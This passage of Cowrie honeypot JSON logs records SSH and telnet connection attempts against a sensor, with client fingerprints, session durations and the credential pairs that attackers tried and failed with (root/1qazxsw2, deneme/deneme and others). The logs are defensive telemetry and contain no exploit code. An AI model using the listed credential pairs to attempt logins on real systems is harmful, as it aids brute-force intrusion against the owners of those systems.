com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:24.120799Z","src_ip":"221.229.220.180","session":"1038e61bd309","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deneme","password":"deneme","message":"login attempt [deneme/deneme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:25.045582Z","src_ip":"221.229.220.180","session":"1038e61bd309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52334,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c4b765e7933","protocol":"ssh","message":"New connection: 160.187.174.22:52334 (159.203.135.109:22) [session: 3c4b765e7933]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:28.298312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:28.304410Z","src_ip":"160.187.174.22","session":"3c4b765e7933","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:28.540972Z","src_ip":"160.187.174.22","session":"3c4b765e7933","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QQ123456","message":"login attempt [root/QQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:29.255876Z","src_ip":"160.187.174.22","session":"3c4b765e7933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:30.497333Z","src_ip":"160.187.174.22","session":"3c4b765e7933","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.9304358959198,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:30.557945Z","src_ip":"170.64.224.25","session":"d23f301d6da7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":45404,"dst_ip":"159.203.135.109","dst_port":23,"session":"49183205f6e9","protocol":"telnet","message":"New connection: 170.64.224.25:45404 (159.203.135.109:23) [session: 49183205f6e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:34.959758Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":42552,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f98d8d4c681","protocol":"ssh","message":"New connection: 91.92.40.4:42552 (10.17.0.5:22) [session: 7f98d8d4c681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:38.786052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:38.789449Z","src_ip":"91.92.40.4","session":"7f98d8d4c681","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:38.870595Z","src_ip":"91.92.40.4","session":"7f98d8d4c681","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"passwd","message":"login attempt [user/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:39.118026Z","src_ip":"91.92.40.4","session":"7f98d8d4c681","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:40.201746Z","src_ip":"91.92.40.4","session":"7f98d8d4c681","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55880,"dst_ip":"10.17.0.5","dst_port":22,"session":"38b543eb7b77","protocol":"ssh","message":"New connection: 103.172.78.219:55880 (10.17.0.5:22) [session: 38b543eb7b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:55.351406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:55.355843Z","src_ip":"103.172.78.219","session":"38b543eb7b77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:55.628831Z","src_ip":"103.172.78.219","session":"38b543eb7b77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":38818,"dst_ip":"159.203.135.109","dst_port":22,"session":"b66516d8f15e","protocol":"ssh","message":"New connection: 160.187.174.22:38818 (159.203.135.109:22) [session: b66516d8f15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:56.003452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:56.009214Z","src_ip":"160.187.174.22","session":"b66516d8f15e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:56.268609Z","src_ip":"160.187.174.22","session":"b66516d8f15e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15091980","message":"login attempt [root/15091980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:56.450986Z","src_ip":"103.172.78.219","session":"38b543eb7b77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esadmin","password":"esadmin","message":"login attempt [esadmin/esadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:57.021304Z","src_ip":"160.187.174.22","session":"b66516d8f15e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:57.725783Z","src_ip":"103.172.78.219","session":"38b543eb7b77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:11:58.269326Z","src_ip":"160.187.174.22","session":"b66516d8f15e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":54510,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9eab5a906a7","protocol":"telnet","message":"New connection: 143.198.154.150:54510 (159.203.135.109:23) [session: c9eab5a906a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:03.374434Z"}
{"eventid":"cowrie.session.closed","duration":41.412070751190186,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:16.371692Z","src_ip":"170.64.224.25","session":"49183205f6e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":50326,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a0b720d7f70","protocol":"ssh","message":"New connection: 160.187.174.22:50326 (159.203.135.109:22) [session: 0a0b720d7f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:24.523549Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:24.527415Z","src_ip":"160.187.174.22","session":"0a0b720d7f70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:24.769903Z","src_ip":"160.187.174.22","session":"0a0b720d7f70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:25.520078Z","src_ip":"160.187.174.22","session":"0a0b720d7f70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:26.757081Z","src_ip":"160.187.174.22","session":"0a0b720d7f70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":54790,"dst_ip":"159.203.135.109","dst_port":22,"session":"c18effc5c636","protocol":"ssh","message":"New connection: 162.241.239.202:54790 (159.203.135.109:22) [session: c18effc5c636]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:32.153756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:32.157676Z","src_ip":"162.241.239.202","session":"c18effc5c636","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:32.182185Z","src_ip":"162.241.239.202","session":"c18effc5c636","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blast","password":"blast999","message":"login attempt [blast/blast999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:32.257381Z","src_ip":"162.241.239.202","session":"c18effc5c636","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:33.286155Z","src_ip":"162.241.239.202","session":"c18effc5c636","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":44408,"dst_ip":"159.203.135.109","dst_port":22,"session":"398c874ec2a4","protocol":"ssh","message":"New connection: 160.187.174.22:44408 (159.203.135.109:22) [session: 398c874ec2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:54.231909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:54.259835Z","src_ip":"160.187.174.22","session":"398c874ec2a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:54.470587Z","src_ip":"160.187.174.22","session":"398c874ec2a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"123456","message":"login attempt [flask/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:55.385198Z","src_ip":"160.187.174.22","session":"398c874ec2a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:12:56.622924Z","src_ip":"160.187.174.22","session":"398c874ec2a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":36538,"dst_ip":"159.203.135.109","dst_port":22,"session":"40e33457a737","protocol":"ssh","message":"New connection: 162.214.159.200:36538 (159.203.135.109:22) [session: 40e33457a737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:00.795093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:00.799256Z","src_ip":"162.214.159.200","session":"40e33457a737","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:13:00.882224Z","src_ip":"162.214.159.200","session":"40e33457a737","protocol":"ssh"}
